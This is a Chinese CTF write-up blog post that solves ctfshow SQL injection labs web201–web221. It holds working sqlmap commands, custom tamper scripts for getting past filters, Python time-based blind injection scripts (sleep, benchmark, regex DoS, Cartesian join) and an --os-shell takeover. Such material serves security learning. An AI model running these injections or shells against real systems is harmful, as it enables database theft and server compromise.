ctfshow-web-sql注入(下)
本文最后更新于 11 天前,其中的信息可能已经有所发展或是发生改变。

前言

在这个专题的刷题过程中,主要参考了ctfshow题目所带的wp以及以下师傅的wp,以下是他们的link

b477eRy师傅:CTFSHOW WEB入门 SQL注入篇 – b477eRy – 博客园

My6n师傅:https://myon6.blog.csdn.net

web201

使用–user-agent 指定agent

使用–referer 绕过referer检查

源码里有传参逻辑,url/api?id=get传参

顺手去cp了下refer:https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/

这里用到的,sqlmap参数>

  • –user-agent:伪造ua头
  • –referer:伪造Referer头

这里ua头不用设置,因为这里就是需要sqlmap的ua头,常用–random-agent来随机ua头

referer头去url/sqlmap.php掏一个就行

Payload:

查出sql库类型
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --batch
# --batch 自动选择
查库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --dbs --batch
查表 # -D指定库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web --tables --batch
查列 # -T指定表
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user --columns --batch
查字段 # --dump转存数据
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web202

使用–data 调整sqlmap的请求方式

这里要用POST传参,上题的refer头和ua头依旧需要使用

Payload:

python sqlmap.py -u "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/api" --data "id=1" --referer "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web203

使用–method 调整sqlmap的请求方式

要用--method来打,说明需要用PUT方法了

这里跑了好几次都报错,看别的师傅的wp发现需要加上--headers="Content-Type: text/plain",否则是按表单提交,PUT接收不到信息,此处还需要在url/api/后加上index.php0.o

Payload:

python sqlmap.py -u "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web204

使用–cookie 提交cookie数据

直接去url/apif12把cookie全复制下来是最快的

Payload:

python sqlmap.py -u "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/" --cookie "PHPSESSID=8euuf13dfl72utkpc2bp9pl6ad; ctfshow=eca0216c3cf8eaad7e483da5fdbe829d" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web205

api调用需要鉴权

这里说到要鉴权,正常输入id查询看看怎么个事

原来是每次查询前会跳到url/gerToken.php拿个cookie

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

Payload:

python sqlmap.py -u "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show" --cookie "PHPSESSID=2i2702v07lfg5kut2lr9tluqhe" --safe-url="https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

注意这里flag换了个表存

web206

sql需要闭合

其实这个提示没啥用的,sqlmap会自己测闭合,手测发现还是会鉴权,上题payload接着用就行

Payload:

python sqlmap.py -u "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show" --cookie "PHPSESSID=ju4jc3md25ogn0avipvode6e9j" --safe-url="https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch

web207

–tamper 的初体验

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

先来了解sqlmap中的--tamper功能,tamper功能使得sqlmap能够对waf进行绕过,其本身自带有部分绕waf脚本,功能如下:

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符,等号替换为like
8chardoubleencode双url编码
9charencode将url编码
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\\\
18greatest大于号替换为greatest
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为–加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/**_**/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为–%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头

同时 ,我们还能按照tamper的模板来修改脚本内容,针对不同题目要求进行绕过,此处暂不展开

题目过滤了空格,这里用space2comment.py (用/**/代替空格)来绕过

Payload:

python sqlmap.py -u "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show" --cookie "PHPSESSID=4dq83pvgu88j7rumb27kik9im4" --safe-url="https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc,id,tes --dump --batch

web208

–tamper 的2体验

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

tamper可以调用多个绕过脚本,这里会把select置换为空,这里用randomcase.py(随机大小写)

Payload:

python sqlmap.py -u "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/" --cookie "PHPSESSID=dbtb17i7bloe6vnpff17ls81rs" --safe-url="https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca,id,tes --dump --batch

web209

–tamper 的3体验

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

等号被ban了可用equaltolike.py(=替换like),但是空格这里被过滤了,也没有星号,注释绕过行不通,这里貌似没有能替换,这里用space2comment.py作为模板,修改一下,用来打这一题(这里动空格过滤的同时,把等于号也改动了,只需要引用这个文件即可)

#!/usr/bin/env python

"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """    Replaces space character (' ') with comments '/**/'    Tested against:        * Microsoft SQL Server 2005        * MySQL 4, 5.0 and 5.5        * Oracle 10g        * PostgreSQL 8.3, 8.4, 9.0    Notes:        * Useful to bypass weak and bespoke web application firewalls    >>> tamper('SELECT id FROM users')    'SELECT/**/id/**/FROM/**/users'    """retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote
            # =换成like
            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue
            # 空格换成%09
            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

Payload:

python sqlmap.py -u "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/" --cookie "PHPSESSID=evn4h59knk8u6ico477d4ddaov" --safe-url="https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch

web210

–tamper 的4体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

其实是套了两层base64和翻转,这个解密过程是:base64->翻转->base64->翻转

所以我们的加密应该是:翻转->base64->翻转->base64

预设的tamper里有个base64encode.py,可以改一改拿来用

改一下得到tamper用到的脚本:

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1], binary=False)[::-1], binary=False) if payload else payload

Payload:

python sqlmap.py -u "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/" --cookie "PHPSESSID=p5u32mj7b1uf0mb0sq0dekol7d" --safe-url="https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch

web211

–tamper 的5体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

加密逻辑同上题,多了个空格过滤,对上题脚本稍作修改

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1].replace(' ', chr(0x09)), binary=False)[::-1], binary=False) if payload else payload

Payload:

python sqlmap.py -u "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/" --cookie "PHPSESSID=rahllt88gupk9g2qoq4ejut7q7" --safe-url="https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch

web212

–tamper 的6体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

新增了星号过滤,但是联合查询貌似不需要星号吧o.0,上一题脚本直接可以打

Payload:

python sqlmap.py -u "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/" --cookie "PHPSESSID=30uqjjuhpe0d85o7gmjgs3mj22" --safe-url="https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -Tctfshow_flavis -C ctfshow_flagxxa,id,tes --dump --batch

web213

练习使用–os-shell 一键getshell

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

上一题的脚本仍然可用,但是flag不在表里了,需要用--os-shellgetshell了

Payload:

python sqlmap.py -u "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/" --cookie "PHPSESSID=6q7ve32dcut6ik038kkubm94id" --safe-url="https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py --os-shell --batch
# getshell之后
os-shell> cat /ctfshow_flag

web214

开始基于时间盲注

注入点在这个ip处,往url/api发POST,内容是ip=if(1,sleep(5),0)&debug=1,可以发现网页成功sleep了

二分法盲注脚本:

"""
Author:Y4tacker
"""
import requests

url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web215

/用了单引号

加上了单引号闭合 稍微改一改上题脚本

"""Author:Y4tacker"""
import requests

url = "http://58fedc0e-77e9-4603-9752-c9f6e444cec7.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web216

查询语句

where id = from_base64($id);

这里解码的其实是查询内容,也就是查询语句“=”后接的内容,但是我们的payload在闭合符号之后,所以只需要在闭合的引号前面换成base64编码的文本即可

"""
Author:Y4tacker
"""
import requests

url = "http://48fe6e0c-bb44-48e7-b0a0-18c33c7cfffa.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web217

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep/i',$str);
    }   

这里sleep被过滤了,换成benchmark函数,该函数用于测试函数或表达式的执行速度

BENCHMARK(loop_count, expression)

  • loop_count:指定表达式需要重复执行的次数。
  • expression:要执行的表达式。

debug=1&ip=benchmark(3000000,md5('1'))响应时间大概花了3s,类似于sleep(3)

1million≈1s

不太稳定,这里收集了两位师傅的脚本

# @author:Myon
# @time:20240813
import requests
import string
 
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
 
for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flag
 
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)
"""
Author:Y4tacker
"""
import requests

url = "http://6e7c94f3-c90b-4e61-9058-b4c0655f7978.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web218

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }   

benchmark都没了,考虑正则DOS RLIKE注入

参考文章:https://xz.aliyun.com/news/5136

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

但是这种方式受环境影响较大,跑着跑着的过程出现了时延不太稳定的情况

import time

import requests

url = "http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/"
bypass = """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"""
# payload = "1) or if(ascii(substr((select database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{0},1))>{1},{2},0)-- +"
payload = "1) or if(ascii(substr((select group_concat(id,'---',flagaac)from ctfshow_flagxc),{0},1))>{1},{2},0)-- +"
flag = ''

for i in range(1,100):
    high = 128
    low = 32
    mid = (high+low)//2
    while(high>low):
        payload1=payload.format(i,mid,bypass)
        # print(payload1)
        # print(payload1)
        data = {
            'ip':payload1,
            'debug':0
        }
        start_time=time.time()
        re = requests.post(url=url,data=data)
        end_time=time.time()
        subtime=end_time-start_time
        # print(subtime)
        if subtime > 0.9:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(chr(mid)==" "):
            break
    flag+=chr(mid)
    print(flag)
# @author:Myon
# @time:20240814
import requests
import string
from time import *

url = 'http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

for j in range(1, 50):
    for k in dic:
        sleep(0.2)  # 遍历每个字符前延时0.2s
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flag
        try:
            re = requests.post(url, data=payload)
            if re.elapsed.total_seconds() > 0.8:
                out += k
                break
        except:
            out += k
            break
    print(out)
    sleep(1)  # 猜对一个字符延时1s

web219

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }         

rlike被过滤了,可以用regexp代替,只需要将上题脚本中的rlike替换成regexp即可

这里了解一下笛卡尔积的解法

笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合,就是连接表

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

这里以逗号连接,abcd可以一直写下去,写得越多查询的速度就越慢,造成的时延也越大,如果表、列数量少,则可以多写一些元素,把时延拉长些

这里需要手测一下延迟,环境不同延迟也有差异,这里连接三个元素题目就炸缸了我,我的环境大概是0.3s的时延

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://af0a2faf-1b8e-4da9-90b7-c49dbaf3eabd.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

web220

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }        

这一次用到的脚本,利用%作为通配符来爆破,避免使用ascii

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://3bf69c20-538d-473d-a4da-93a2b23588a1.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

其实还可以用leftrightrpadlpad之类的来代替substr

import string

import requests

url = "http://dfc9fcfa-4a13-413b-87c6-14c1b4355565.challenge.ctf.show/api/"

# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +"
payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +"
bypass = """(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"""
uuid = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp,"
flag = ''
i = 1
while 1:
    for j in uuid:
        flag += j
        payload1 = payload.format(i, flag, bypass)
        # print(payload1)
        data = {
            'ip': payload1,
            'debug': '1'
        }
        try:
            r = requests.post(url, data=data, timeout=3)
            flag = flag[:-1]
        except Exception as e:
            print(flag)
            i += 1

笛卡尔积调超时时间也太难受了吧

web221

查询语句
  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;    
返回逻辑
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

关于limit注入,P神有文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

Payload:

?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
# 提取表结构
